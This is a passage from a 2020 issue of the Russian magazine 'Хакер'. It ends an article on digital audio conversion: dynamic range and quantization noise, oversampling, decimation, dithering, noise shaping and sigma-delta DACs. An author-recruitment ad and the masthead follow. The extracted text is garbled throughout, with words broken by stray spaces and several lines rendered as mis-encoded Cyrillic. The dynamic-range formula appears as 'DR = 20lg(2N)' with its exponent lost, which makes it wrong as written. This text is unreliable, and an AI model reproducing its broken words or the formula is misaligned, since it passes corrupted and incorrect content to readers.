с мно жест вом допущен ий. Попр обуе м пой ти от обратно го и про анал изи‐
ровать динамич еск ий диапа зон записанн ого сигн ала на АЦП (анал ого‐циф‐
ровом пре образ оват еле) и срав нить его с теорет ическ и возм ожным.
Уро вень шума обычн о рас счит ываю т по отно шению к шагу квант ования
(один раз ряд) или к динами чес кому диапа зону зву ково го сигн ала. Динами‐
ческ ий диапа зон изме ряет ся в децибел ах, рас счит ать его мож но по форм уле:
DR = 20lg(2N), где N — разр ядность кван тования. Получае тся для 16 бит воз‐
можный динами чес кий диапаз он окол о 96 дБ, а для 24 бит око ло 144 дБ.
Возьм у резуль таты тес тирова ния АЦП «Lynx Studio Hilo TB», это студ ийн ый
АЦП/ЦАП выс шей ценовой катего рии. Он показал сле дующие результ аты.
Ре жим работы 24 бит, 44 кГц От лично
Ди намич ес кий диапа зон, дБ (А) 119,3
А вот резуль таты без усил ения.
Реж им работы 24 бит, 44 кГц От лично
Дин амич еск ий диапаз он, дБ (А) 112,6
За бегая впе ред, скаж у, что в тес тиру емом АЦП исполь зуют ся тех нологии
дитеринг (Dithering), нойз‐шейп инг (Noise shaping), а такж е децимац ия, что
поз воляе т рас ширить динамич ес кий диапа зон и сни зить уров ень шума. Под‐
робнее про эти техн ологии рас ска жу в сле дующем пунк те.
А теперь прик инем: 24 бита равн яют ся 144 дБ — это возм ожный динами‐
ческ ий диапа зон. От 144 дБ отни мем реальн ый динами чес кий диапа‐
зон 119 дБ, потери от шумов сос тавят лучш ем случ ае 25 дБ, а в худ шем 32 дБ.
К сожален ию, при 16 бит его не тес тирова ли, но в соот ношении результ аты
дол жны быть еще хуже, пос кольк у пониже ние раз ряднос ти немину емо при‐
водит к рос ту шумов. Получае тся, что прим ерн о 1/5 часть сигн ала прос то
теря ется из‐за шума.
Склад ыва ется далеко не радуж ная кар тина. А если коп нуть глуб же
и учесть, как звук сво дят на сту дии записи, стан овит ся не по себе. Как пра‐
вило, готовое про извед ение свод ят из сем плов, в которых уже и так при сутс‐
тву ют ука занн ые шумы, поск оль ку семп лы записан ы на подобн ом АЦП. Затем
добав ляют эффекты, которые как минимум при водят к передис кре тизац ии
(resampling) и связ ан ным с ней ошиб кам округлен ия.
Кро ме того, пло хие звук оре жисс еры очень любят все пожать и выров нять,
использ уя лимитер ы и комп ресс оры, прин цип работы которых основ ан
на уменьш ении динамич еск ого диапаз она. Через все эти пыт ки про ходит
прак тичес ки кажд ый семпл. Даже при исполь зовании прос того эквал ай зера
сигн ал про ходит через цифр овой филь тр, который внос ит шум округле ния
как минимум в пол шага кван тования. При конечн ом свед ении все семп лы
собира ются в один поток, соот ветст венн о шумы кажд ого добав ляют ся
к шумам еще одной передиск ре тизац ии. Но и это еще не все — при восп ро‐
извед ении ЦАП добавл яет собст венн ые шумы и шум округле ния. Предс тав‐
ляешь, что на самом деле остае тся от полез ного сигн ала?
Методы борьбы с шумами
Что бы исправ ить это пла чевн ое положен ие, были раз работан ы спе циаль ные
техн ологии борь бы с шумами. Давай рас смот рим самые основные.
Oversampling
Техн ологию oversampling ста ли при менять еще во врем ена мульт ибит ных ЦАП
для ком пенсац ии потерь, вызв анных шумами. Прин цип работы oversampling
зак люча ется в том, что к уже сущес тву ющим диск рет ным отсчет ам добав‐
ляют ся про межу точн ые, которые повт оря ют приб лизитель ную фор му волн ы.
Про межу точн ые отсчет ы либо расс чит ыва ются с при менен ием матема тичес‐
кой интерпо ляции, либо запол няют ся нулевы ми зна чени ями и переда ются
на цифр овой фильт р. Обычн о и тот и друг ой подх од называю т интерпо ляци‐
ей, а цифр овой фильт р называю т интерпо лиру ющим. Самым прост ым спо‐
собом интерпо ляции являе тся линейн ая интерпол яция, а самым прос тым
цифр овым филь тром может выс тупать филь тр ниж них част от.
Ни же — иллюс трац ия алго рит ма интерпол яции дис крет ного сиг нала
с коэфф ици ентом 2. Крас ные точ ки обозн ача ют исходные отсче ты сиг нала,
сплош ные линии — неп рерыв ный сиг нал, пред ставл ение м которо го эти
отсче ты являю тся. Сверх у — исходный сиг нал. В середин е — этот же сигн ал
со встав ленны ми нулевы ми отсчет ами (зеленые точк и). Сниз у — интерпо‐
лиро ван ный сиг нал (синие точ ки — интерпол иро ванн ые зна чения отсче тов).
Снач ала стал и при менять толь ко передиск ре тизац ию с повышен ием част оты,
напр имер с 44,1 до 176,4 кГц. Поз днее прим еня ли уже передиск рет изац ию
с повышен ием част оты диск ре тизац ии и уве личе нием разр яднос ти кван‐
тования — этот про цесс называе тся рек вантов ание.
Хо тя oversampling вно сит шум округлен ия, все же при его использ овании
благ ода ря расш ирению динамич еск ого диапаз она сиг нала сни жает ся общая
плот ность шума, и посл еду ющая обраб от ка сиг нала окаж ет уже меньш ее вли‐
яние. Кажд ое удво ение част оты диск ре тизац ии рас ширя ет динами чес кий
диапаз он прим ерн о на один шаг квант ования — 6 дБ — минус шум округле‐
ния.
Как раз для воз можнос ти прим енить oversampling стал и выпус кать мик‐
росхе мы мульт ибит ных ЦАП, под держи вающие на вход е циф ровой поток
до 192 × 24. Так же появил ись аппа рат ные апсем пле ры на основ е DSP (digital
signal processor).
Ко неч но, при менен ие тех нологии oversampling давало улучш ение харак‐
терис тик зву ково го сиг нала, но кард иналь но ситу ацию не меняло: уро вень
шума все равн о оста вал ся высоким. Поэто му стал и при менять ся и друг ие
техн ологии.
Децимация
Для записи и све дения звук ово го сигн ала начали исполь зовать децимац ию —
это обратный про цесс, передис крет иза ция с понижен ием част оты диск ре‐
тизац ии и раз рядност и квант ования. Сигн ал записыв ает ся с высокой час‐
тотой диск ре тиза ции и раз рядностью кван тования, нап‐
ример 176,4 или 192 кГц с раз рядностью 24 бит, и при помощи уда ления час‐
ти отсче тов циф ровым фильт ром «сжи мает ся» до станд арта CDDA —
44,1 кГц, 16 бит. Этот подх од позв оляе т немн ого сни зить уров ень шума кван‐
тования.
Ни же — иллюст ра ция алгор ит ма децима ции диск рет ного сиг нала с коэф‐
фицие нтом 2. Красн ые точ ки обоз нача ют отсчет ы, сплошн ые линии — неп‐
рерыв ный сигн ал, предс тав ление м которог о эти отсче ты явля ются. Свер ху —
исходный сигн ал. В середин е — этот же сигн ал посл е фильт рац ии в циф‐
ровом фильт ре нижн их част от. Сниз у — децими рованн ый сиг нал.
Dithering
Dithering (дитеринг) — метод подм ешива ния псев дослуч ай ного шума
при оцифр овке или вос про изве дении звук ово го сиг нала. Эта техн ология
выпол няет две задачи:
• лин еари зация переда точ ной фун кции квант овате ля/рек вантов ате ля;
• дек ор реляция оши бок квант ования.
Шум ы квант ования име ют корр еляцию, то есть взаи мос вязь с основным сиг‐
налом. Это соз дает паразит ные гарм оники, которые повт оряю т фор му сиг‐
нала. Они вли яют на восп ри ятие, созд авая ощу щение «нечет кости» звуч ания.
Корр еляцию мож но убрать, добав ляя спе циальн о смод ели рован ный шум
в основной сиг нал, — таким обра зом корр елиро ванн ый шум кван тования
прев раща ется в обыч ный белый шум. Это нем ного подн има ет общий
шумовой уро вень, но хорошо сказ ывае тся на вос прия тии.
Ди теринг на при мере обраб от ки изоб ражений: до и пос ле
Noise shaping (нойз-шейпинг)
Тех нология noise shaping (NS) поз воля ет зна читель но уменьш ить шум, вно‐
симый при кван товании, рекв антов ании и дитерин ге.
Нойз‐шей пинг работа ет так: квант ованн ый сиг нал на вход е срав нива ется
с сигн алом на выходе рек вантов ате ля, форм ируе тся разн ица (ошибк а),
которая вычитае тся из основног о сиг нала. Тем самым ком пенси руют ся иска‐
жения, вне сен ные рек ванто вате лем и в проц ес се дитеринг а. Обра зует ся так
называ емая обратная связь, которая стре мит ся ком пенсир овать ошиб ку
на вхо де и выходе рек вантов ате ля. Эта тех нология работае т подоб но отри‐
цательн ой обратной свя зи на опер аци онном усил ите ле, тольк о все пре обра‐
зован ия про исхо дят в циф ровом виде.
Здесь прив еде на схе ма рекв антов ате ля перв ого поряд ка, но, как пра‐
вило, исполь зуют ся рек ванто вате ли вплоть до 9–12‐го порядк а
У этой тех нологии есть свои минусы. Прим енен ие NS внос ит больш ое
количес тво шумов в область высоких част от, поэтом у необх одимо при менять
филь тр низ ких час тот, с част отой срез а, близк ой к верх ней гран ич ной час‐
тоте. На практ ике вмес те с NS всегд а прим еняю т еще и дитеринг, резуль тат
их сов мест ной работы нам ного луч ше на слух.
Dynamic Element Matching
Dynamic Element Matching (DEM) — техн ология, которая форм иру ет на выходе
ЦАП нес коль ко уровн ей сигн ала. Она похожа на неч то сред нее меж ду одно‐
бит ным и муль тибит ным ЦАП. DEM служ ит для сни жения детер миниров анн ых
оши бок при использ овании сиг ма‐дельт а‐модуля ции (SDM). Эти ошиб ки,
подоб но шумам кван тования, силь но корр елиро ваны с сигн алом на выходе
одно бит ного модулят ора, поэтом у знач итель но вли яют на вос при ятие зву‐
ково го сигн ала.
Так же эта техн ология сни жает треб ова ния к анал огов ому фильт ру, потому
что форм а сиг нала еще до фильт ра ции приб лижае тся к фор ме вос прои зво‐
димой вол ны. DEM реали зует ся при помощи нес кольк их выводов, соедин ен‐
ных в общую шину, которые форм ирую т выход ной сиг нал ЦАП.
Кро ме рас смот ренных, при меняю тся и дру гие техн ологии, а такж е их сочета‐
ния и вари ации. Осо бенн о про извод ите ли любят экспе римен тировать с циф‐
ровой фильт ра цией и модуля тора ми, изобр етая все новые и новые цифр овые
фильт ры, вли яющие на сигн ал как в лучш ую, так и в худш ую стор ону. Алгор ит‐
мы обраб от ки цифр ового сиг нала сов ременн ых ЦАП, как пра вило, сложн ы
и вклю чают все перечис ленное, а такж е собст венн ые наработ ки про изво‐
дител ей. Разуме ется, прои зво дител и не публ ику ют алгор ит мы филь тров
и модуля торов, в лучш ем случ ае при водят при мер ную блок‐схе му. Так что
остае тся тольк о предп олагать, что на самом деле прои сход ит со звук овым
сигн алом внут ри того или ино го циф роанал ого вого пре обра зоват еля.
Сигма-дельта-преобразователи
Сигм а‐дельт а цифр оана логов ые пре обра зова тели раз вивались обо соб‐
ленно от мульт ибит ных ЦАП. За осно ву была взя та, как понят но из наз вания,
сигм а‐дель та‐модуляц ия, в литерат уре она обычн о обоз начае тся аббре‐
виату рой SDM. В сиг ма‐дель та‐модуля ции переда ется не абсо лют ное зна‐
чение ампли туды сиг нала за еди ницу врем ени, как в муль тибит ных ЦАП,
а изме нения сиг нала отно ситель но пред ыдущ его знач ения. Так, если ампли‐
туда воз раста ет, передае тся 1, а если пада ет — 0. Подобн ый принц ип уже
был опи сан в раз деле про DSD.
Перв ые сиг ма‐дельт а‐ЦАП были пол ностью одно бит ными, но за счет высокой
час тоты дис крет изац ии обес печива ли динамич ес кий диапаз он на уровн е
при мерн о 129 дБ. За основ у взял и част оту диск ре тизац ии 44,1 кГц. Веро‐
ятно, выб ранная час тота поз воляла эко номить аппар ат ные ресур сы бла года‐
ря упро щению вычис лений при интерпо ляции.
Сна чала использ овали част оту 2,8 МГц, это 44,1 кГц, уве личенн ая
в 64 раза. Сейч ас част ота может быть разн ой, она опре деля ется внут ренней
архи тект урой самого ЦАП. Обыч но она основ ана на час тотных сет ках, крат‐
ных 44,1 кГц и 48 кГц, с мно жител ем 64, 128, 256, 512, 1024.
Со вре менем дельт а‐сиг ма‐ЦАП практ ическ и полн остью вытесн или муль‐
тибит ные, прост о по экон оми ческ им прич инам. Во‐пер вых, их тре бован ия
к качес тву и точ ности ком понент ов горазд о ниже, чем у мульт ибит ных ЦАП,
соот ветс твенн о, и себест оимость ниже. Во‐втор ых, в восьм идеся тые —
девянос тые годы сто имость реализ ации интерпо ляции и noise shaping
для одно бит ного модуля тора была сущест вен но мень ше, чем для 16 бит.
Сейч ас, с раз витие м техн ологий, это не так крит ич но, и мног ие сигм а‐дель‐
та‐ЦАП име ют, подоб но мульт ибитам, неск оль ко уров ней на выходе. Но за
счет мно гок ратно го уве личе ния част оты тре бован ия к ком понен там остаю тся
не очень высоки ми, поэтом у пер вое пре имущ ес тво сох раня ется и по сей
день.
Совр еменн ые сиг ма‐дель та‐ЦАП имею т сложн ую структ уру и включ ают
в себя практ ичес ки все техн ологии, перечис ленные в пред ыду щей глав е.
Прив еду прим ер внут ренней струк туры одно го из прос тых сигм а‐дель та‐ЦАП
из лек ций Вологд ина.
Входн ые циф ровые 16-раз рядные выборк и с час тотой диск рет иза-
ции 44,1 кГц пода ются на вход цифр ового филь тра передис кре тиза-
ции. В схем е использ ует ся нерекур сивный с четырехк ратн ой передис-
кре тиза цией FIR (finite impulse response) интерпо ляцио нный филь тр
с линей ной фазовой характ ерист икой. На перв ом эта пе модуляц ии
в результ ате перекв антов ания числ о раз рядов в выбор ках понижа ется
с 16 до 14 и использ уетс я SDM 1-го порядк а.
За тем еще раз про изво дит ся передиск рет изац ия c помощью двух сту-
пеней (Kos = 32 и 2). Меж ду этим и ступ еня ми в тракт ввод ит ся
шумовой сигн ал, осу щест вляю щий опе рацию «Dithering» с уровн ем
шума, равн ым минус 20 дБ. Она умень шает нелиней ность передат оч-
‑ной функ ции из за ошиб ок квант ования. Общий коэф фицие нт
передис кре тизац ии равен 256, и част ота диск рет иза ции увел ичив ает-
ся до 11,29 МГц. Во вто рой сту пени модуля ции исполь зует ся SDM 2-
го поряд ка и форм иру ется одно раз рядный циф ровой поток. К выходу
‑ЦАП подк люч аетс я вре мя импуль сный циф ровой модулят ор, пре обра-
зующий циф ровые данн ые в пос ледоват ельн ость импульс ов, модули-
рованн ых по плотн ости (PDM).
Есл и обоб щить и упростить, прои схо дит прим ерн о сле дующее. На вход ЦАП
пода ется поток данн ых PCM через разъ ем I2S, подв ерга ется интерпо ляции
(oversampling), далее добав ляет ся шум (dithering), и затем поток пода ется
на рек ванто ватель с обратной связью (noise shaping). В конц е форм иру ется
одно бит ный поток, он прох одит через ана лого вый филь тр нижн их част от, где
уже и получа ется конеч ный зву ковой сиг нал, который мы слыш им.
Мно гораз рядный ЦАП устро ен сложн ее: кром е перечис ленно го, в нем
использ ует ся еще и тех нология DEM.
WWW
Ес ли хочешь разобр ать ся в деталях, почитай
материа лы по ссыл кам, там есть информа ция
не тольк о о сигм а‐дельт а‐ЦАП, но и о сиг‐
ма‐дель та‐АЦП.
•Статья о дельт а‐сиг ма‐модуля ции
на microsin.net
•Кон спект лек ций Э. И. Волог дина по сиг‐
ма‐дель та‐модуля ции
Сов ременн ые циф роана лого вые пре обра зоват ели — устрой ства сложн ые.
Но прим ене ние этих тех нологий необх одимо для искусс твенн ого расш ирения
динами чес кого диапа зона, и по боль шому счет у они использ уют ся, что бы
прео до леть огран ичен ия фор матов CDDA и MP3. Если бы записи изнач аль но
выпуск али в высоком раз решении PCM (192 × 24), а луч ше в форм ате DSD, то
не приш лось бы прим енять так мног о тех нологий и сложн ых цифр овых пре‐
обра зова ний. В слу чае с DSD вмеш атель ство в квант ованн ый сиг нал и вовс е
не нуж но, по край ней мере при вос прои звед ении.
ЗАКЛЮЧЕНИЕ
Путь разв ития звук озап иси и вос про изве дения в циф ровую эпо ху был неп‐
ростым и тер нистым. С изоб ретение м комп акт‐дис ков все го за пару десяти‐
летий звук на ана лого вых носител ях прак тическ и прек ратил свое сущес тво‐
вание. Хорошо это или пло хо — каж дый решае т для себя, но хотелось бы,
что бы остав алась сама возм ожность выбора. Если не межд у циф рой и ана‐
логом, то хотя бы как и в каком качест ве слуш ать любимую музыку. К сожале‐
нию, сей час это го выбора почт и нет. Сей час мало кто выпуск ает музыку
в высоком разр ешении, кро ме энтуз иас тов на трек ерах. Винить в этом мож но
раз ве что студ ии звук оза писи, которые решили огра ничитьс я единст венн ым
форм атом — CDDA.
Ос тает ся толь ко посочувс тво вать музыкан там! Сколь ко сил и врем ени они
трат ят на соз дание музыки, но их труд даже не сохр аня ется в дос тойн ом
качест ве. Выходом мог ла бы стать запись на маст ер‐лен ту или хотя бы в DSD.
Но зву козап исыв ающие сту дии не стан ут тра тить лишн ие усил ия, ведь их
устра ивает текущее положен ие вещей.
СТАНЬ АВТОРОМ
«ХАКЕРА»!
«Хакеру» нужны новые авторы, и ты можешь стать одним
из них! Если тебе интересно то, о чем мы пишем, и есть
желание исследовать эти темы вместе с нами, то не упусти
возможность вступить в ряды наших авторов и получать
за это все, что им причитается.
• Àâòîðû ïîëó÷àþò äåíåæíîå âîçíàãðàæäåíèå. Размер зависит
от сложности и уникальности темы и объема проделанной работы (но
не от объема текста).
• Íàøè àâòîðû ÷èòàþò «Õàêåð» áåñïëàòíî: каждая опубликованная
статья приносит месяц подписки и значительно увеличивает личную скид-
ку. Уже после третьего раза подписка станет бесплатной навсегда.
Кроме того, íàëè÷èå ïóáëèêàöèé — ýòî îòëè÷íûé ñïîñîá ïîêàçàòü
ðàáîòîäàòåëþ è êîëëåãàì, ÷òî òû â òåìå. А еще мы планируем запуск
англоязычной версии, так что ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà
ðóáåæîì.
И конечно, ìû âñåãäà óêàçûâàåì â ñòàòüÿõ èìÿ èëè ïñåâäîíèì
àâòîðà. На сайте ты можешь сам заполнить характеристику, поставить фото,
написать что-то о себе, добавить ссылку на сайт и профили в соцсетях. Или,
наоборот, не делать этого в целях конспирации.
ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Главное в нашем деле — знания по теме, а не корочки журналиста. Знаешь
тему — значит, и написать сможешь. Не умеешь — поможем, будешь сом-
неваться — поддержим, накосячишь — отредактируем. Не зря у нас работает
столько редакторов! Они не только правят буквы, но и помогают с темами
и форматом и «причесывают» авторский текст, если в этом есть необ-
ходимость. И конечно, перед публикацией мы согласуем с автором все прав-
ки и вносим новые, если нужно.
ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Темы для статей — дело непростое, но и не такое сложное, как может
показаться. Стоит начать, и ты наверняка будешь придумывать темы одну
за другой!
Первым делом задай себе несколько простых вопросов:
• «Ðàçáèðàþñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèíòåðåñîâàòü äðóãèõ?»
Частый случай: люди делают что-то потрясающее, но считают свое
занятие вполне обыденным. Если твоя мама и девушка не хотят слушать
про реверс малвари, сборку ядра Linux, проектирование микропроцес-
соров или хранение данных в ДНК, это не значит, что у тебя не найдется
благодарных читателей.
• «Áûëè ëè ó ìåíÿ â ïîñëåäíåå âðåìÿ èíòåðåñíûå ïðîåêòû?» Если
ты ресерчишь, багхантишь, решаешь crackme или задачки на CTF, если ты
разрабатываешь что-то необычное или даже просто настроил себе
какую-то удобную штуковину, обязательно расскажи нам! Мы вместе при-
думаем, как лучше подать твои наработки.
• «Çíàþ ëè ÿ êàêóþ‑òî èñòîðèþ, êîòîðàÿ êàæåòñÿ ìíå êðóòîé?»
Попробуй вспомнить: если ты буквально недавно рассказывал кому-то
о чем-то очень важном или захватывающем (и связанным с ИБ или ИТ), то
с немалой вероятностью это может быть неплохой темой для статьи.
Или как минимум натолкнет тебя на тему.
• «Íå ïîäìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñòèëè ÷òî‑òî âàæíîå?» Если
мы о чем-то не писали, это могло быть не умышленно. Возможно, просто
никому не пришла в голову эта тема или не было человека, который
взял бы ее на себя. Кстати, даже если писать сам ты не собираешься, под-
кинуть нам идею все равно можно.
Óãîâîðèëè, êàêîâ ïëàí äåéñòâèé?
1. Придумываешь актуальную тему или несколько.
2. Описываешь эту тему так, чтобы было понятно, что будет в статье и зачем
ее кому-то читать. Обычно достаточно рабочего заголовка и нескольких
предложений (pro tip: их потом можно пустить на введение).
3. Выбираешь редактора и отправляешь ему свои темы (можно главреду —
он разберется). Заодно неплохо бывает представиться и написать пару
слов о себе.
4. С редактором согласуете детали и сроки сдачи черновика. Также он выда-
ет тебе правила оформления и отвечает на все интересующие вопросы.
5. Пишешь статью в срок и отправляешь ее. Если возникают какие-то проб-
лемы, сомнения или просто задержки, ты знаешь, к кому обращаться.
6. Редактор читает статью, принимает ее или возвращает с просьбой
доработать и руководством к действию.
7. Перед публикацией получаешь версию с правками и обсуждаешь их
с редактором (или просто даешь добро).
8. Дожидаешься выхода статьи и поступления вознаграждения.
TL;DR
Если хочешь публиковаться в «Хакере», придумай тему для первой статьи
и предложи редакции.
№07 (256) Илья Русанен Алекс ей Глазк ов
Ан дрей Письм енн ый Зам. главн ого редак тора Выпуск ающий редакт ор
Глав ный редакт ор по техн ичес ким вопр осам
[email protected] [email protected] [email protected]
Ев гения Шарипо ва
Литерат урн ый редакт ор
РЕДАКТОРЫ РУБРИК
Анд рей Письм енн ый Илья Русанен Иван «aLLy» Андрее в
[email protected] [email protected] [email protected]
Ев гений Зоб нин Татья на Чупр ова Ан дрей Васильк ов
[email protected] [email protected] [email protected]
Вал ент ин Холм огоров Вик тор Олейн иков
[email protected] [email protected]
MEGANEWS
Мар ия Нефёдо ва
[email protected]
АРТ
yambuto
[email protected]
РЕКЛАМА
Анн а Яков лева
Ди рект ор по спец про ектам
[email protected]
РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Вопр осы по подп иске: [email protected]
В опр осы по материа лам: [email protected]
Ад рес редакц ии: 125080, город Моск ва, Волокол амс кое шосс е, дом 1, стро ение 1, этаж 8, помеще ние IX, комн ата 54, офис 7. Издат ель: ИП
Югай Алекс андр Оле гович, 400046, Вол гоград ская область, г. Волг оград, ул. Дружб ы народов, д. 54. Учред итель: ООО «Медиа Кар» 1 25080,
город Моск ва, Волокол амс кое шосс е, дом 1, строе ние 1, этаж 8, помеще ние IX, комн ата 54, офис 7. Зарегис трир ова но в Федеральн ой служ бе
по надз ору в сфе ре связ и, информац ионн ых техн ологий и мас совых комм уникац ий (Рос комнад зоре), сви детельс тво Э л № Ф С77‐ 67001 от 3 0.
08. 2016 года. Мне ние редакц ии не обя зательн о сов падае т с мнен ием автор ов. Все матери алы в номере пред ос тавля ются как информа ция
к раз мышлен ию. Лица, использ ующие данн ую информац ию в прот иво закон ных целях, могут быть прив лечены к ответс твенн ости. Редак ция
не несет ответст вен ности за содерж ание рекл амных объя вле ний в номере. По вопр осам лиценз ирован ия и получен ия прав на исполь зование
редакц ион ных материа лов жур нала обращ айт есь по адрес у: [email protected]. © Жур нал «Хакер», РФ, 2020